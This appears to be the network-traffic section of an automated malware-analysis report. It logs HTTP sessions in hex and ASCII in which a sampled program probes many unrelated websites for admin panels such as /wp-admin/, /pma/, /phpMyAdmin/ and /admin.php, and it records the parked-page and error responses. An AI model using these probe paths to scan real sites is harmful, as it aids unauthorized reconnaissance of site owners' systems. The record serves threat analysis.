2023-12-20 02:13:33 UTC	742	IN	Data Raw: 6d 69 6e 5c 2f 61 64 6d 69 6e 2d 61 6a 61 78 2e 70 68 70 22 7d 7d 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 77 70 2d 75 74 69 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 69 64 3d 22 77 70 2d 75 74 69 6c 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 22 3e 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 65 39 65 39 61 62 34 36 62 32 22 7d 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 Data Ascii: min\/admin-ajax.php"}};</script><script src="https://majormega.com/wp-includes/js/wp-util.min.js?ver=6.3.2" id="wp-util-js"></script><script id="user-profile-js-extra">var userProfileL10n = {"user_id":"0","nonce":"e9e9ab46b2"};</script><script src="
2023-12-20 02:13:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
279	192.168.2.4	63054	65.8.178.81	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	243	OUT	GET /wp-admin/ HTTP/1.1 Host: www.atelcommunications.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.atelcommunications.com/wp-login.php
2023-12-20 02:13:33 UTC	331	IN	HTTP/1.1 420 Unknown Content-Type: text/plain Transfer-Encoding: chunked Connection: close Date: Wed, 20 Dec 2023 02:13:33 GMT X-Cache: Error from cloudfront Via: 1.1 2d1483219a2d9cbbd8a595180a2cbaa8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MIA3-C4 X-Amz-Cf-Id: L6LQY4vYuw9piq2Fbkkae4Jlmh5rgr_Em1OBQy2OyE6HLTpJmOHwkQ==
2023-12-20 02:13:33 UTC	25	IN	Data Raw: 31 33 0d 0a 72 61 74 65 20 6c 69 6d 69 74 20 65 78 63 65 65 64 65 64 0d 0a Data Ascii: 13rate limit exceeded
2023-12-20 02:13:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
280	192.168.2.4	63010	13.248.169.48	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	324	OUT	GET /pma/ HTTP/1.1 Host: topshelfgames.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_XsS548O093oHymZRUu8o/OezPRRzu6on0ZNPha8qOwIWZs+oXB05YVVcwNR3w6Dm91BvBr/+kjxVjlPVDrrJTg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:33 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
281	192.168.2.4	63070	13.248.169.48	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	315	OUT	GET /pma/ HTTP/1.1 Host: bvox.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Spa2vApxvWvJ99k+poN0HSJkn74ghmesWgwaXVPKUe5ZeZ/b+fa5+eVIc4rzLn8RJdP/3y4euQl1W//F8oiYow Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:33 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
282	192.168.2.4	63015	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	325	OUT	GET /pma/ HTTP/1.1 Host: lsmnutrition.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_HVPwuvzYMtnFYpplTTeuKSd9xTHlL19NsBG5I/V7AfBvJ0QbKA3vTgHUZdEmG7PJKaAfTsg+JewB7aUPVfiXFQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:33 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
283	192.168.2.4	63165	65.8.178.81	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	187	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: www.atelcommunications.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	331	IN	HTTP/1.1 420 Unknown Content-Type: text/plain Transfer-Encoding: chunked Connection: close Date: Wed, 20 Dec 2023 02:13:33 GMT X-Cache: Error from cloudfront Via: 1.1 801e556929290797bc7fffd309b474ae.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MIA3-C4 X-Amz-Cf-Id: r86hPZxWrRxvjkhX1C4d3RdHntgpkBsxwdmNjL5IUfQBbErLLxAvXw==
2023-12-20 02:13:33 UTC	25	IN	Data Raw: 31 33 0d 0a 72 61 74 65 20 6c 69 6d 69 74 20 65 78 63 65 65 64 65 64 0d 0a Data Ascii: 13rate limit exceeded
2023-12-20 02:13:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
284	192.168.2.4	63071	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	321	OUT	GET /pma/ HTTP/1.1 Host: walshfam.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Ggja5cFjAsSgnTKu6fsgUSkq47h7h0zLdwkrtMK7C8E42sQYAkNZgy4jNCtINhgS5mXkPiNYxW3/0u1yw8JAfQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:33 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
285	192.168.2.4	63118	34.149.87.45	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	182	OUT	GET /admin.php HTTP/1.1 Host: www.u90soccercenter.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	1085	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038413.5861655778387232665 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:33 GMT X-Served-By: cache-dfw-kdfw8210158-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLl77sBeKLtHVaXbFQUDNQYPu/2EjeiyKjB/JVOb8T5Ve,2d58ifebGbosy5xc+FRalv//A71UTHA8zBn3qrrYJhirRHE0P2MqKt+/7CrwPvcWcmX6lWjNTcU5p3zYz/P9rw==,2UNV7KOq4oGjA5+PKsX47JzIq9ZmP05BQuFbD4KFyTFYgeUJqUXtid+86vZww+nL,S+3YDkrdjZ6isF/aTRkOdUjmz5YjnwZx7K9uZU5HfPQ=,j59Gyti1PsMH6A+kxnM0t35dbfOFCYSohZzWUnx4ayk=,0gGrL7iazMoiuqlb7dEO3dDsKQWTSD/PxwQPpd67SEhoDATN0mDKMTaqoZUfJQh4UBKsSDIan9rjPNjFd8v1tg== Transfer-Encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:33 UTC	167	IN	Data Raw: 62 37 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 Data Ascii: b71 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sca
2023-12-20 02:13:33 UTC	1252	IN	Data Raw: 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c Data Ascii: le=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <
2023-12-20 02:13:33 UTC	1252	IN	Data Raw: 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e Data Ascii: ices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.
2023-12-20 02:13:33 UTC	270	IN	Data Raw: 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a Data Ascii: red</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
286	192.168.2.4	63192	104.26.7.37	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	210	OUT	GET /domain_profile.cfm?d=uniqueaustralian.com HTTP/1.1 Host: www.hugedomains.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	800	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close cache-control: private vary: Accept-Encoding set-cookie: site_version_phase=108; expires=Sat, 14-Dec-2024 02:13:33 GMT; path=/ set-cookie: site_version=HDv3; expires=Sat, 14-Dec-2024 02:13:33 GMT; path=/ x-powered-by: ASP.NET lb: TclPrdLbHd3 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WZc5KGqWkLBFPBACSNMnb5nTeqUXk%2FA0te1aD4cU%2BlZ84bkd%2F84l3HqL8DkJRQZ5qh64zTh2FI5gEdC1N6J8W6Th2uWRCsUC5%2FdIm4mcBaAJ3IlxF7vW6MSrrhx%2BjWQ5osj5vvo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845de4ba6fdabd-MIA
2023-12-20 02:13:33 UTC	569	IN	Data Raw: 39 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 6f 6b 69 65 79 65 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 63 6f 6f 6b 69 65 79 65 73 2e 63 6f 6d 2f 63 6c 69 65 6e 74 5f 64 61 74 61 2f 65 37 31 62 63 35 33 66 31 63 62 38 38 36 36 36 64 31 36 30 63 31 65 32 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 0a 3c 6d 65 74 Data Ascii: 929<!DOCTYPE html><html lang="en"><head><script id="cookieyes" type="text/javascript" src="https://cdn-cookieyes.com/client_data/e71bc53f1cb88666d160c1e2/script.js"></script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><met
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 72 65 62 6f 6f 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 61 61 3d 32 30 32 31 2d 30 36 2d 30 39 61 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f Data Ascii: " /><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/reboot.min.css"><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/style.css?aa=2021-06-09a"><link rel="stylesheet" href="https://static.HugeDomains.com/
2023-12-20 02:13:33 UTC	414	IN	Data Raw: 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 7a 79 77 36 6d 64 73 2e 63 73 73 22 3e 0a 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 37 31 31 37 33 33 39 2d 34 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0d 0a 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0d Data Ascii: om/css?family=Noto+Sans:400,700&display=swap"><link rel="stylesheet" href="https://use.typekit.net/zyw6mds.css"><script async src="https://www.googletagmanager.com/gtag/js?id=UA-7117339-4"></script><script>window.dataLayer = window.dataLayer \|\| [];
